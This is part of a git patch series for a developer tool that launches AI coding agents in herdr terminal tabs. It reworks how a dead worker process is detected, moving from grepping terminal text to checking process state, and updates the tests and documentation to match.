     "pane get": (pane_get(), "", 0),
-    "pane read": (f"$ sh -c ...\n[work-system] {SEED_MARKER}:{SEED_TOKEN}: kimi seed "
-                  "exited 1 - TASK.md was NOT started and no session was opened.\n$ ",
-                  "", 0),
+    "pane process-info": (SHELL_READY, "", 0),
 }))
-check("wrapper seed failure: exit 1", r.returncode == 1)
-check("wrapper seed failure: names the marker", SEED_MARKER in r.stderr)
-check("wrapper seed failure: says TASK.md was not started",
-      "TASK.md was not started" in r.stderr)
-check("wrapper seed failure: tab closed exactly once",
-      len(e.call_args("tab close")) == 1)
-check("wrapper seed failure: no stdout", r.stdout == "")
+check("idle pane: exit 1", r.returncode == 1)
+check("idle pane: says the seed failed and TASK.md was not started",
+      "seed phase failed" in r.stderr and "TASK.md was not started" in r.stderr)
+check("idle pane: tab rolled back exactly once", len(e.call_args("tab close")) == 1)
+check("idle pane: no stdout", r.stdout == "")
 e.close()
 
-# --- a TOKENLESS marker in the pane must NOT tear the tab down ------------- #
-# The pane's text is worker-controlled: the seed reads repository files, and in a
-# work-system repo those files (TASK.md, CHANGELOG, these tests) legitimately name
-# the marker constant. Only the per-launch token makes a match trustworthy.
+# --- a BUSY pane is the wrapper running: never a failure ------------------- #
+# The streak must reset on anything that is not evidence of idleness, or a slow
+# worker gets torn down while it is starting.
 e, r = kimi_run(wrapper_cases(**{
-    "pane read": (f"$ cat TASK.md\n… the wrapper prints {SEED_MARKER} on a bad seed …\n",
-                  "", 0),
+    "pane get": (pane_get(), "", 0),
+    "pane process-info": [(SHELL_READY, "", 0), (SHELL_BUSY, "", 0)],
 }))
-check("foreign marker text: the launch still succeeds", r.returncode == 0)
-check("foreign marker text: the tab was NOT rolled back",
-      "tab close" not in [n for n, _ in e.calls()])
+check("busy pane: never rolled back", "tab close" not in [n for n, _ in e.calls()])
+check("busy pane: reported unverified, not failed",
+      r.returncode == 0 and r.stdout.startswith("blocked=unverified\n"))
 e.close()
 
-# --- a marker carrying SOMEONE ELSE'S token is ignored too ----------------- #
+# --- an UNREADABLE pane state is not evidence of idleness either ----------- #
 e, r = kimi_run(wrapper_cases(**{
-    "pane read": (f"[work-system] {SEED_MARKER}:0000000000000000: kimi seed exited 1\n",
-                  "", 0),
+    "pane get": (pane_get(), "", 0),
+    "pane process-info": [(SHELL_READY, "", 0), ("not json", "", 0)],
 }))
-check("stale token: the launch still succeeds", r.returncode == 0)
-check("stale token: the tab was NOT rolled back",
+check("unreadable pane state: never rolled back",
       "tab close" not in [n for n, _ in e.calls()])
 e.close()
 
-# --- marker BEFORE kind: a dead seed must not read as a live worker -------- #
-# herdr detects the wrapper's CLI within seconds of the seed starting, so the same
-# poll can see both signals. The marker has to win, or a worker that announced its
-# own death gets reported as a successful launch.
+# --- a detected worker wins over a pane that looks idle -------------------- #
 e, r = kimi_run(wrapper_cases(**{
     "pane get": (pane_get("kimi"), "", 0),
-    "pane read": (f"[work-system] {SEED_MARKER}:{SEED_TOKEN}: kimi seed exited 1\n", "", 0),
-}))
-check("marker wins over a simultaneous kind match", r.returncode == 1)
-check("marker wins: no success line on stdout", r.stdout == "")
-e.close()
-
-# --- the ECHOED command must not read as a seed failure -------------------- #
-# A pane shows the command it was given. The wrapper therefore assembles its marker
-# at runtime, and this pins the consequence: a pane whose only content is that
-# command must still be treated as "starting", never as a failed seed.
-e, r = kimi_run(wrapper_cases(**{
-    "pane read": ("$ sh -c 'if kimi -m \"$1\" -p \"$2\"; then exec kimi -c --auto; "
-                  'else rc=$?; m=WORKER_SEED; echo; echo "[work-system] ${m}_FAILED: '
-                  "kimi seed exited $rc - TASK.md was NOT started and no session was "
-                  "opened.\"; exit $rc; fi' kimi-worker kimi-code/k3-256k '...'\n", "", 0),
+    "pane process-info": (SHELL_READY, "", 0),
 }))
-check("echoed command: still a normal launch, not a seed failure", r.returncode == 0)
-check("echoed command: the tab was NOT rolled back",
-      "tab close" not in [n for n, _ in e.calls()])
+check("detected worker wins: exit 0", r.returncode == 0)
+check("detected worker wins: reported as a launch", "moved=yes" in r.stdout)
 e.close()
 
 # --- the shell never reaches a prompt -> nothing typed, tab rolled back ---- #
@@ -785,7 +784,7 @@ def kimi_run(cases, log_argv=True):
 e, r = kimi_run(wrapper_cases(**{"pane process-info": ("not json at all", "", 0)}))
 check("wrapper readiness unknown: still launches", r.returncode == 0)
 check("wrapper readiness unknown: the whole bounded window was spent",
-      len(e.call_args("pane process-info")) == 3)
+      len(e.call_args("pane process-info")) >= 3)
 check("wrapper readiness unknown: the command was still sent",
       len(e.call_args("pane run")) == 1)
 e.close()

From 5ba6ba8d9380782017df3ab611eb55b679fc5d35 Mon Sep 17 00:00:00 2001
From: Robert Gering <mail@robertgering.de>
Date: Wed, 12 Aug 2026 12:30:40 +0200
Subject: [PATCH 11/12] Close the consistency gaps the third round left behind
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Fourth swarm round — no critical findings; what is left is mostly the
seams of round three's own edits.

- the agent_pane_busy retry was the one poll loop without a wall-clock
  deadline, right under a comment claiming every loop has one. Bounded
  by try count alone it meant ~10s when `agent start` rejects instantly
  (under the rc-startup window this file documents) or ~600s of silence
  when each try consumes its own timeout
- the idle-pane death signal is now gated on elapsed time as well as on
  the poll streak: the streak's justification was written in seconds
  while nothing verified that a fractional `sleep` actually sleeps
- `extract_shell_ready` coerces both pids strictly, so a re-serialized
  field (a pid as a string, a negative pgid) degrades to unknown instead
  of to `busy` — which is a hard state that fails the launch
- `resume` waits for the pane's shell prompt before typing `claude -c`
  into it: the same just-created-pane race the launch path guards, in
  the one place that still had it
- the knowledge entry, its index line, the lib-bounded rationale and the
  test file all still described the nonce-salted marker that round three
  deleted

Two findings were not applied: typing on unverified readiness stays (it
is a documented degrade — blocking would make kimi unlaunchable on a
herdr without process-info), and the resume orphan cleanup keeps its own
close, because routing it through rollback_tab would drop the herdr
error an earlier review round deliberately surfaced there.

Live on herdr 0.8: healthy launch 4s, dead wrapper 7s with a confirmed
rollback, no leftover tabs.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AurDZwFXYtjzi5BUcMaxaW
---
 .claude/knowledge/_index.md                   |  2 +-
 .../features/herdr-kickoff-automation.md      | 75 ++++++++++---------
 plugins/work-system/scripts/agent-registry.sh | 12 ++-
 plugins/work-system/scripts/herdr-launch.sh   | 40 +++++++++-
 plugins/work-system/scripts/lib-bounded.sh    |  8 +-
 .../work-system/scripts/test_herdr_launch.py  | 13 ++--
 6 files changed, 95 insertions(+), 55 deletions(-)

diff --git a/.claude/knowledge/_index.md b/.claude/knowledge/_index.md
index 311ca92..8d8b6b9 100644
--- a/.claude/knowledge/_index.md
+++ b/.claude/knowledge/_index.md
@@ -12,7 +12,7 @@
 ## Features
 - `features/backfill-and-origin-metadata.md` — `/backfill-knowledge` significance bar + origin-reconstruction cascade
 - `features/statusline-integration.md` — Status-line segments: plugins can't own `statusLine.command`; marker-block injection; the `[ks …]` + `[ws …]` two-segment coexistence and ws's never-block-on-network PR cache
-- `features/herdr-kickoff-automation.md` — herdr `herdr-launch.sh`: `launch` (`/kickoff` + `/adopt`) + `resume` (`/continue <task>` reopens an `/exit`-closed tab); feature-detected dual contract (legacy placement vs 0.7.5+ `agent start --kind --pane` into a pre-created tab), registry-declared transport, bounded busy-retry, rollback vs `blocked=unverified`, nonce-salted seed marker
+- `features/herdr-kickoff-automation.md` — herdr `herdr-launch.sh`: `launch` (`/kickoff` + `/adopt`) + `resume` (`/continue <task>` reopens an `/exit`-closed tab); feature-detected dual contract (legacy placement vs 0.7.5+ `agent start --kind --pane` into a pre-created tab), registry-declared transport, bounded busy-retry, rollback vs `blocked=unverified`, why a dead wrapper is detected from process state and never from terminal text
 - `features/lane-registry.md` — `lanes.sh` + `herdr-agent.sh` (Wave 1): the one herdr-agent wrapper (degrade-not-block, bounded wait) + centralized `$HERDR_MATCH_PRELUDE` cwd↔worktree match (consumed by herdr-tab-glyph, regression-guarded via live snapshot); lanes.sh joins states+liveness keyed by worktree_path with a worktree-tab-state degrade tri-state; env test-seams for hermetic join tests
 - `features/herdr-close-automation.md` — `/close` in herdr: cwd-tab teardown, plugin SessionEnd hook, the one TUI-exit primitive, detached self-exit onto idle
 - `features/herdr-tab-glyphs.md` — Task-state glyphs (`○ ● ◇ ◆ ✓`) + main-root `◉` on herdr tab labels: `states` mode in the self-contained renderer, sync-vs-`--cached` PR refresh per caller, exact-cwd rename rules, soft pr-flow shim
diff --git a/.claude/knowledge/features/herdr-kickoff-automation.md b/.claude/knowledge/features/herdr-kickoff-automation.md
index cfb167b..d22b11f 100644
--- a/.claude/knowledge/features/herdr-kickoff-automation.md
+++ b/.claude/knowledge/features/herdr-kickoff-automation.md
@@ -181,46 +181,51 @@ decisions from the fix:
   "the verified worker is in its dedicated tab", and changing the key would break
   every caller for a cosmetic gain.
 
-### Gotcha: a pane's text is worker-controlled — a fixed marker is forgeable
+### Gotcha: a supervisor cannot take its signal from terminal text
 
-The wrapper's seed-failure marker is greppable out of the pane (`pane read --source
-visible`; the default `recent` returns nothing once a pane settles). It took **two**
-independent fixes to make that grep trustworthy, and the second only landed because
-a review asked "who else can write this text?":
+Deciding "did this worker die?" from what the pane SHOWS was attempted three times
+and failed three times. Each fix looked complete and closed exactly one channel:
 
-1. The literal must not appear in the command the launcher TYPES. A pane echoes its
-   command line, so a script containing the token made a **healthy** `--kimi` launch
-   roll itself back after 2s (found live). The wrapper assembles it instead
-   (`m=WORKER_SEED` … `${m}_FAILED`).
-2. The literal must not appear in anything the worker READS. The kimi seed's whole
-   job is reading repository files — and in a work-system repo, TASK.md, the
-   CHANGELOG and the tests all legitimately name the marker. So the launcher mints a
-   random **per-launch token**, passes it as a `WORK_SYSTEM_SEED_TOKEN=…` prefix on
-   the `pane run` command (argv_shell itself stays untouched — no re-quoting), and
-   greps for `<marker>:<token>`. A host that cannot mint one degrades to *no* marker
-   detection rather than to a forgeable constant: losing a signal is safe, trusting
-   a fake one is not.
+1. The literal must not appear in the command the launcher TYPES — a pane echoes
+   its command line, so the token inside the wrapper script matched itself and
+   rolled a **healthy** launch back after 2s (found live). Fixed by assembling it
+   at runtime (`m=WORKER_SEED` … `${m}_FAILED`).
+2. It must not appear in anything the worker READS — the kimi seed's whole job is
+   reading repository files, and in a work-system repo TASK.md, the CHANGELOG and
+   the tests all legitimately name the marker. Fixed with a per-launch nonce.
+3. But the nonce has to REACH the wrapper, and the only channel is the environment
+   of the process being supervised — so the worker can print its own death
+   certificate. And a rendered `pane read` snapshot is width-wrapped, so in a
+   narrow pane the match silently misses anyway. Forgeable *and* unreliable.
 
-Generalizes: a supervisor that greps a terminal for a control signal must own that
-signal end to end — it may not appear in what the supervisor types in, nor in
-anything the supervised process can read and echo. Fixing only the first channel
-looks complete and isn't.
+The signal that works is process STATE, which output cannot fake — but not the
+obvious form of it. "The pane left its prompt (wrapper running) and came back
+(wrapper died)" is unusable: measured live, a seed that fails on startup — the case
+this exists to catch — is gone before the first 0.5s poll, and every sample reads
+`ready`. What is observable is the steady state: a `sh -c` wrapper puts a child in
+the foreground, so while it runs the pane is busy or its worker is detected. A pane
+sitting at its OWN shell prompt, no agent, for N consecutive polls (and past a
+wall-clock floor, so a `sleep` that ignores fractional seconds cannot collapse the
+budget) means nothing is running there — whether the seed died or the keystrokes
+never landed. Measured: a dead wrapper fails in ~5s with its tab rolled back, a
+healthy one is confirmed in ~2s; the floor sits between those two numbers on
+purpose. The wrapper still PRINTS its marker — for whoever reads the tab, not for
+the launcher.
 
-**What the marker window honestly covers.** herdr detects the wrapper's CLI within
-seconds of the seed starting, so the marker is checked BEFORE the kind match (both
-can be true in one poll, and a worker that announced its own death must not read as
-a live one). It catches a seed that dies before the launch is confirmed — the common
-failure (expired auth, an unconfigured model), exactly when a clean "it didn't
-start" beats a tab to inspect. It cannot catch a seed that fails minutes later: the
-seed phase IS the task work, so waiting for it is not a launch-time option. A launch
-reported here was real when reported; a later death is an ordinary worker crash.
+Generalizes twice over: a supervisor that greps a terminal must own that signal end
+to end (it may not appear in what it types in, nor in anything the supervised
+process can read and echo — closing only the first channel looks complete and
+isn't); and when you switch to process state, verify WHICH state transition is
+actually observable at your polling rate before trusting it.
 
-**Legacy has the same hazard with a different shape.** There the wrapper is the
-tab's ROOT process, so an instantly-failing seed takes the pane and the tab with it —
-and the legacy path would still print `moved=yes` for a tab herdr had already
-closed. It now confirms the pane is alive first (a liveness check, no text grepping
-at all — the pane is gone, which is unforgeable). Native legacy launches skip the
-check entirely: their argv cannot self-terminate on a bad seed, and that contract is
+**Legacy has the same question with a cleaner answer.** There the wrapper is the
+tab's ROOT process, so an instantly-failing seed takes the pane and the tab with
+it — and the legacy path would still print `moved=yes` for a tab herdr had already
+closed. It now checks pane liveness through the pane LIST, tri-state: `gone` is
+definitive, an unreadable herdr is `blocked=unverified` (never death — declaring a
+live worker dead sends the caller to its manual block and invites a SECOND
+unattended worker onto the worktree). Native legacy launches skip the check
+entirely: their argv cannot self-terminate on a bad seed, and that contract is
 meant to stay byte-identical.
 
 ## `/adopt` auto-launch: reference kickoff's prose, don't duplicate it
diff --git a/plugins/work-system/scripts/agent-registry.sh b/plugins/work-system/scripts/agent-registry.sh
index d982e9a..4c66f4d 100755
--- a/plugins/work-system/scripts/agent-registry.sh
+++ b/plugins/work-system/scripts/agent-registry.sh
@@ -118,10 +118,14 @@ KIMI_CREDENTIALS_FILE="${KIMI_CREDENTIALS_FILE:-$HOME/.kimi-code/credentials/kim
 # argv word; the launch helper passes it verbatim.
 BOOTSTRAP_PROMPT='Read TASK.md in this worktree and continue the task. Commit on the current branch as you go, and open a PR when the work is complete.'
 
-# The ASCII marker a wrapper worker prints when its seed phase fails. It is for
-# the HUMAN who opens the tab: it names the failure unambiguously and states that
-# TASK.md was never started, where the pre-1.11.1 shape left an empty session that
-# looked healthy.
+# The ASCII marker a wrapper worker prints when its seed phase fails. It names the
+# failure unambiguously and states that TASK.md was never started, where the
+# pre-1.11.1 shape left an empty session that looked healthy. WHO reads it depends
+# on the path: on legacy herdr and on a manual `argv_shell=` paste it is the human
+# looking at the tab; on the modern path the launcher detects the dead wrapper and
+# rolls that tab back, so there the marker is what the seed's own error sits next
+# to while it is still on screen — the launch failure itself is reported by the
+# launcher, which tells the user to run the worker by hand to see it.
 #
 # It is deliberately NOT a machine signal. herdr-launch.sh used to grep the pane
 # for it; three review rounds showed terminal text cannot carry a supervisor's
diff --git a/plugins/work-system/scripts/herdr-launch.sh b/plugins/work-system/scripts/herdr-launch.sh
index 4488311..0b446be 100755
--- a/plugins/work-system/scripts/herdr-launch.sh
+++ b/plugins/work-system/scripts/herdr-launch.sh
@@ -249,6 +249,11 @@ RETRY_DELAY="${WORK_SYSTEM_HERDR_RETRY_DELAY:-0.5}"              # seconds betwe
 READY_SECONDS="${WORK_SYSTEM_HERDR_READY_SECONDS:-45}"
 DETECT_SECONDS="${WORK_SYSTEM_HERDR_DETECT_SECONDS:-45}"
 ALIVE_SECONDS="${WORK_SYSTEM_HERDR_ALIVE_SECONDS:-20}"
+# The busy-retry budget is wall clock for a reason: `agent start` may REJECT
+# instantly (a precondition check) or only after consuming its own --timeout, so a
+# try count alone means either ~10s — under the 10-20s rc startup this file
+# documents — or ~600s of silence. The deadline makes both behave the same.
+BUSY_SECONDS="${WORK_SYSTEM_HERDR_BUSY_SECONDS:-45}"
 # Consecutive "pane is at its own shell prompt, no worker detected" samples that
 # mean nothing is running there. The bound is a real trade-off, measured live: too
 # SHORT and a healthy wrapper is torn down in the gap between `pane run` returning
@@ -257,6 +262,7 @@ ALIVE_SECONDS="${WORK_SYSTEM_HERDR_ALIVE_SECONDS:-20}"
 # (a healthy kimi was detected in ~2s, busy throughout) and still reports a dead
 # wrapper in seconds. Raise it on a slow host.
 IDLE_STREAK="${WORK_SYSTEM_HERDR_IDLE_STREAK:-8}"
+IDLE_MIN_SECONDS="${WORK_SYSTEM_HERDR_IDLE_MIN_SECONDS:-3}"
 # Legacy path only: how long to let a wrapper worker prove it did not die on the
 # spot before its tab is reported as running (see the pane_alive check there).
 WRAPPER_ALIVE_TRIES="${WORK_SYSTEM_HERDR_ALIVE_TRIES:-6}"
@@ -290,7 +296,13 @@ except Exception:
 extract_shell_ready='import sys, json
 try:
     pi = json.load(sys.stdin)["result"]["process_info"]
-    fg, shell = pi.get("foreground_process_group_id"), pi.get("shell_pid")
+    # Coerce strictly: `busy` is a HARD state (it fails the launch and rolls the tab
+    # back), so it may only ever come from two ids we actually parsed as integers.
+    # A field that is absent, renamed, or re-serialized (a pid as a string, a
+    # negative pgid) is drift and must land on the unknown-means-proceed path.
+    def pid(v):
+        return v if isinstance(v, int) and not isinstance(v, bool) and v > 0 else None
+    fg, shell = pid(pi.get("foreground_process_group_id")), pid(pi.get("shell_pid"))
     if fg is None or shell is None:
         print("unknown")
     else:
@@ -800,6 +812,7 @@ EOF_RESOLVE
     if [ "$herdr_mode" = agent-start ]; then
       # ---- native worker: hand the argv TAIL to --kind, unchanged ----
       attempt=0
+      busy_deadline=$(( SECONDS + BUSY_SECONDS ))
       while : ; do
         start_rc=0
         start_err="$(mktemp)"
@@ -818,7 +831,7 @@ EOF_RESOLVE
         # Retry ONLY the "shell not ready yet" rejection, bounded. Everything else
         # falls straight through — a retry loop over an unrelated error is how a
         # launcher ends up starting two workers.
-        if [ "$class" = busy ] && [ "$attempt" -lt "$BUSY_TRIES" ]; then
+        if [ "$class" = busy ] && [ "$attempt" -lt "$BUSY_TRIES" ] && [ "$SECONDS" -lt "$busy_deadline" ]; then
           attempt=$((attempt + 1))
           sleep "$RETRY_DELAY" 2>/dev/null || true
           continue
@@ -829,7 +842,7 @@ EOF_RESOLVE
         diag="$(herdr_diag "$start_blob" "$workspace" 0)"
         [ -n "$diag" ] && printf '%s\n' "$diag" >&2
         if [ "$class" = busy ]; then
-          fail_definitive "pane $pane never reached an interactive shell prompt (herdr kept reporting agent_pane_busy over $BUSY_TRIES retries) — nothing was started"
+          fail_definitive "pane $pane never reached an interactive shell prompt (herdr kept reporting agent_pane_busy for ${BUSY_SECONDS}s / $BUSY_TRIES retries) — nothing was started"
         fi
         if [ "$class" = definitive ]; then
           fail_definitive "herdr agent start --kind $herdr_kind was rejected before starting anything in pane $pane"
@@ -907,6 +920,11 @@ EOF_RESOLVE
     i=0
     idle_streak=0
     detect_deadline=$(( SECONDS + DETECT_SECONDS ))
+    # The streak reasons in seconds ("a wrapper takes this long to reach the
+    # foreground"), so it is gated on elapsed time too — a `sleep` that silently
+    # rejects the fractional delay would otherwise collapse the whole budget into
+    # milliseconds and tear down a healthy worker that had not started yet.
+    idle_earliest=$(( SECONDS + IDLE_MIN_SECONDS ))
     while [ "$i" -lt "$DETECT_TRIES" ] && [ "$SECONDS" -lt "$detect_deadline" ]; do
       detected="$(pane_agent_kind "$pane")"
       if [ "$detected" = "$herdr_kind" ]; then
@@ -921,7 +939,7 @@ EOF_RESOLVE
       case "$(pane_shell_state "$pane")" in
         ready)
           idle_streak=$((idle_streak + 1))
-          if [ "$idle_streak" -ge "$IDLE_STREAK" ]; then
+          if [ "$idle_streak" -ge "$IDLE_STREAK" ] && [ "$SECONDS" -ge "$idle_earliest" ]; then
             fail_definitive "nothing is running in pane $pane — it has been back at its shell prompt for $IDLE_STREAK polls with no worker detected, so the $agent_name seed phase failed and TASK.md was not started (run the worker by hand to see its error)"
           fi
           ;;
@@ -1001,6 +1019,11 @@ EOF_RESOLVE
     # last-resort fallback.
     if [ -z "$pane" ]; then
       if [ -n "$tab" ]; then
+        # Deliberately NOT rollback_tab here. That helper confirms the close by
+        # polling herdr-teardown, but it swallows herdr's own error — and surfacing
+        # exactly that error on this path was itself the outcome of an earlier
+        # review. This branch already ends in the caller's manual block, so the
+        # diagnostic is worth more than the confirmation.
         close_err="$(mktemp)"
         if ! herdr tab close "$tab" >/dev/null 2>"$close_err"; then
           close_diag="$(herdr_diag "$(cat "$close_err")" "$workspace" 0)"
@@ -1026,6 +1049,15 @@ EOF_RESOLVE
     # the caller never claims a resume that didn't happen: the tab + shell exist, but
     # the user must run it by hand. (Catches a failed send, not `claude -c` erroring
     # later on a cwd with no prior session — the caller's wording stays tentative.)
+    # The same just-created-pane race the launch path guards: this pane was made
+    # milliseconds ago and its login shell may still be sourcing rc files, which can
+    # eat the leading keystrokes of a typed command. Wait for it to reach its own
+    # prompt (bounded; an unreadable answer degrades to proceeding, as there).
+    if [ "$(wait_shell_ready "$pane")" = busy ]; then
+      echo "pane $pane never reached its shell prompt — not typing 'claude -c' into it; the tab is open, run it there by hand" >&2
+      printf 'pane=%s\ntab=%s\nmoved=yes\nreused=no\nresumed=no\nfocused=no\n' "$pane" "$tab"
+      exit 0
+    fi
     resumed=yes
     run_err="$(mktemp)"
     if ! herdr pane run "$pane" "cd $(printf '%q' "$worktree") && claude -c" >/dev/null 2>"$run_err"; then
diff --git a/plugins/work-system/scripts/lib-bounded.sh b/plugins/work-system/scripts/lib-bounded.sh
index 8ca8830..739ee73 100644
--- a/plugins/work-system/scripts/lib-bounded.sh
+++ b/plugins/work-system/scripts/lib-bounded.sh
@@ -3,9 +3,11 @@
 #
 # SOURCE this file (`. "<dir>/lib-bounded.sh"`); it defines a function and runs
 # nothing. Both agent-registry.sh (CLI availability probes) and herdr-launch.sh
-# (the herdr capability probe + its polling reads) need the same primitive, and
-# they shipped a copy each until the copies drifted — one merged the child's
-# stderr into the captured output, the other didn't. A sibling-file dependency is
+# (the herdr capability probe + its polling reads) need the same primitive.
+# agent-registry.sh had it first; herdr-launch.sh grew a copy when it gained a
+# bounded probe, and within a single change the two had already drifted — one
+# merged the child's stderr into the captured output, the other didn't. That is
+# how fast this particular duplication rots. A sibling-file dependency is
 # already the norm between these scripts (herdr-launch.sh shells out to
 # herdr-teardown.sh, agent-registry.sh), so one definition beats two.
 #
diff --git a/plugins/work-system/scripts/test_herdr_launch.py b/plugins/work-system/scripts/test_herdr_launch.py
index e148a33..ab3d408 100644
--- a/plugins/work-system/scripts/test_herdr_launch.py
+++ b/plugins/work-system/scripts/test_herdr_launch.py
@@ -19,8 +19,8 @@
   * the modern tab-create → agent-start path for claude/codex/grok, incl. exact
     kind/pane, argv boundaries, no duplicated executable and no `pane move`;
   * the modern pane-run path for wrapper workers (kimi): one-command delivery,
-    bounded expected-kind detection, the seed-failure marker, wrong-kind and
-    timeout → blocked=unverified with no retry;
+    bounded expected-kind detection, the idle-pane death signal (process state, not
+    terminal text), wrong-kind and timeout → blocked=unverified with no retry;
   * rollback — exactly-once tab close on definitive failures, no rollback on
     ambiguous ones, and an unconfirmed rollback downgrading to unverified.
 """
@@ -65,10 +65,6 @@
     "code": "agent_pane_busy", "message": "pane w1:p7 is not at a shell prompt"}})
 NO_PANE_ERR = jsonlib.dumps({"error": {
     "code": "agent_pane_not_found", "message": "agent target pane w1:p7 not found"}})
-# The launcher mints a random per-launch seed token; pinning it lets a stubbed pane
-# echo the exact marker line a real wrapper would print.
-SEED_TOKEN = "deadbeefcafe0001"
-SEED_MARKER = "WORKER_SEED_FAILED"
 
 
 def pane_get(agent=None):
@@ -205,8 +201,9 @@ def __init__(self, cases, log_argv=False, api="legacy", help_text=None):
         self.env["WORK_SYSTEM_HERDR_READY_TRIES"] = "3"
         self.env["WORK_SYSTEM_HERDR_DETECT_TRIES"] = "3"
         self.env["WORK_SYSTEM_HERDR_IDLE_STREAK"] = "2"
+        # the wall-clock half of the idle gate; the streak is what these assert
+        self.env["WORK_SYSTEM_HERDR_IDLE_MIN_SECONDS"] = "0"
         self.env["WORK_SYSTEM_HERDR_ALIVE_TRIES"] = "2"
-        self.env["WORK_SYSTEM_HERDR_SEED_TOKEN"] = SEED_TOKEN
         if api is not None:
             self.env["WORK_SYSTEM_HERDR_API"] = api
         else:
@@ -272,7 +269,6 @@ def wrapper_cases(**over):
     cases = modern_cases(**{
         "pane process-info": (SHELL_READY, "", 0),
         "pane run": ('{"result":{"type":"ok"}}', "", 0),
-        "pane read": ("$ ", "", 0),
         "pane get": [(pane_get(), "", 0), (pane_get("kimi"), "", 0)],
     })
     cases.pop("agent start")
@@ -837,6 +833,7 @@ def kimi_run(cases, log_argv=True):
       r.returncode == 0 and r.stdout.startswith("blocked=unverified\n"))
 check("legacy wrapper unverifiable: never claims the seed failed",
       "seed phase failed" not in r.stderr)
+e.close()
 
 # A NATIVE legacy launch must not pay for that check at all — its contract is
 # meant to stay byte-identical, and its argv cannot self-terminate on a bad seed.

From 22e2b1e40b4ef3e658ee2a1f2239ef333b1a7c06 Mon Sep 17 00:00:00 2001
From: Robert Gering <mail@robertgering.de>
Date: Wed, 12 Aug 2026 12:49:12 +0200
Subject: [PATCH 12/12] Read pane readiness from the processes, not from a
 process group
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Fifth swarm round, no critical findings. The one that matters is a
premise I had not questioned: readiness was `foreground_process_group_id
== shell_pid`, which only means "idle" when job control is on. A shell
started with `set +m` leaves children in its own group, so a running
wrapper would read idle — and the detection loop tears down idle panes.
It now compares the foreground processes' pids against the shell's,
which answers the same question without the assumption.

Also this round:

- the resume shell-busy path no longer exits before focusing the tab it
  just created; it falls through like the send-failed path, differing
  only in `resumed=`
- an unreadable pane state degrades after a few polls instead of burning
  the whole 45s window on every launch and resume — the wait exists to
  cover a seconds-long rc window, not to wait that long for nothing
- the modern `agent start` invocation is built once instead of written
  out twice around an empty-array guard
- the seed marker drops its runtime reassembly: that only ever existed
  to dodge a launcher-side pane grep, which no longer exists
- five stale comments and doc lines that still described the removed
  grep, the removed `herdr_marker=` output, or the pre-fix `;` wrapper
  shape — including one test comment contradicting another ten lines
  below it, and the knowledge index line trimmed back to sibling length

Two design findings stand, both documented in place: pane_state keeps
its own guard chain (pane-scoped, where herdr-teardown's is tab-scoped),
and the two remaining bounded-runner copies are still named as a
follow-up rather than migrated in a launch-path fix.

Live on herdr 0.8: healthy launch 4s, dead wrapper 7s with rollback.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AurDZwFXYtjzi5BUcMaxaW
---
 .claude/knowledge/_index.md                   |  2 +-
 .../features/herdr-kickoff-automation.md      |  2 +-
 plugins/work-system/scripts/agent-registry.sh |  8 +-
 plugins/work-system/scripts/herdr-launch.sh   | 89 +++++++++++--------
 .../scripts/test_agent_registry.py            | 19 ++--
 .../work-system/scripts/test_herdr_launch.py  | 29 +++++-
 6 files changed, 93 insertions(+), 56 deletions(-)

diff --git a/.claude/knowledge/_index.md b/.claude/knowledge/_index.md
index 8d8b6b9..77cea69 100644
--- a/.claude/knowledge/_index.md
+++ b/.claude/knowledge/_index.md
@@ -12,7 +12,7 @@
 ## Features
 - `features/backfill-and-origin-metadata.md` — `/backfill-knowledge` significance bar + origin-reconstruction cascade
 - `features/statusline-integration.md` — Status-line segments: plugins can't own `statusLine.command`; marker-block injection; the `[ks …]` + `[ws …]` two-segment coexistence and ws's never-block-on-network PR cache
-- `features/herdr-kickoff-automation.md` — herdr `herdr-launch.sh`: `launch` (`/kickoff` + `/adopt`) + `resume` (`/continue <task>` reopens an `/exit`-closed tab); feature-detected dual contract (legacy placement vs 0.7.5+ `agent start --kind --pane` into a pre-created tab), registry-declared transport, bounded busy-retry, rollback vs `blocked=unverified`, why a dead wrapper is detected from process state and never from terminal text
+- `features/herdr-kickoff-automation.md` — herdr `herdr-launch.sh`: `launch` (`/kickoff` + `/adopt`) + `resume`; feature-detected dual contract (legacy placement vs 0.7.5+ `agent start --kind --pane`), registry-declared transport, rollback vs `blocked=unverified`, worker death from process state not terminal text
 - `features/lane-registry.md` — `lanes.sh` + `herdr-agent.sh` (Wave 1): the one herdr-agent wrapper (degrade-not-block, bounded wait) + centralized `$HERDR_MATCH_PRELUDE` cwd↔worktree match (consumed by herdr-tab-glyph, regression-guarded via live snapshot); lanes.sh joins states+liveness keyed by worktree_path with a worktree-tab-state degrade tri-state; env test-seams for hermetic join tests
 - `features/herdr-close-automation.md` — `/close` in herdr: cwd-tab teardown, plugin SessionEnd hook, the one TUI-exit primitive, detached self-exit onto idle
 - `features/herdr-tab-glyphs.md` — Task-state glyphs (`○ ● ◇ ◆ ✓`) + main-root `◉` on herdr tab labels: `states` mode in the self-contained renderer, sync-vs-`--cached` PR refresh per caller, exact-cwd rename rules, soft pr-flow shim
diff --git a/.claude/knowledge/features/herdr-kickoff-automation.md b/.claude/knowledge/features/herdr-kickoff-automation.md
index d22b11f..708fd0f 100644
--- a/.claude/knowledge/features/herdr-kickoff-automation.md
+++ b/.claude/knowledge/features/herdr-kickoff-automation.md
@@ -138,7 +138,7 @@ decisions from the fix:
   a future help text stops naming its flags).
 - **The registry declares the transport; the launcher never infers it.**
   `agent-registry.sh resolve` emits `herdr_mode=agent-start|pane-run` +
-  `herdr_kind=<canonical cli>` (+ `herdr_marker=` for wrappers). `agent-start` means
+  `herdr_kind=<canonical cli>`. `agent-start` means
   argv[0] IS herdr's canonical executable for that kind, so the launcher drops
   exactly that word and passes the rest to `--kind` unchanged — a *check*, not a
   transformation, which is what keeps argument order and boundaries (codex/grok's
diff --git a/plugins/work-system/scripts/agent-registry.sh b/plugins/work-system/scripts/agent-registry.sh
index 4c66f4d..fbf67d2 100755
--- a/plugins/work-system/scripts/agent-registry.sh
+++ b/plugins/work-system/scripts/agent-registry.sh
@@ -31,7 +31,7 @@
 #              the work-system continue skill resumes TASK.md deterministically)
 #   codex   -> codex -m <model> <bootstrap-prompt>
 #   grok    -> grok  -m <model> <bootstrap-prompt>
-#   kimi    -> sh -c '<seed-or-fail>; exec kimi -c --auto' \
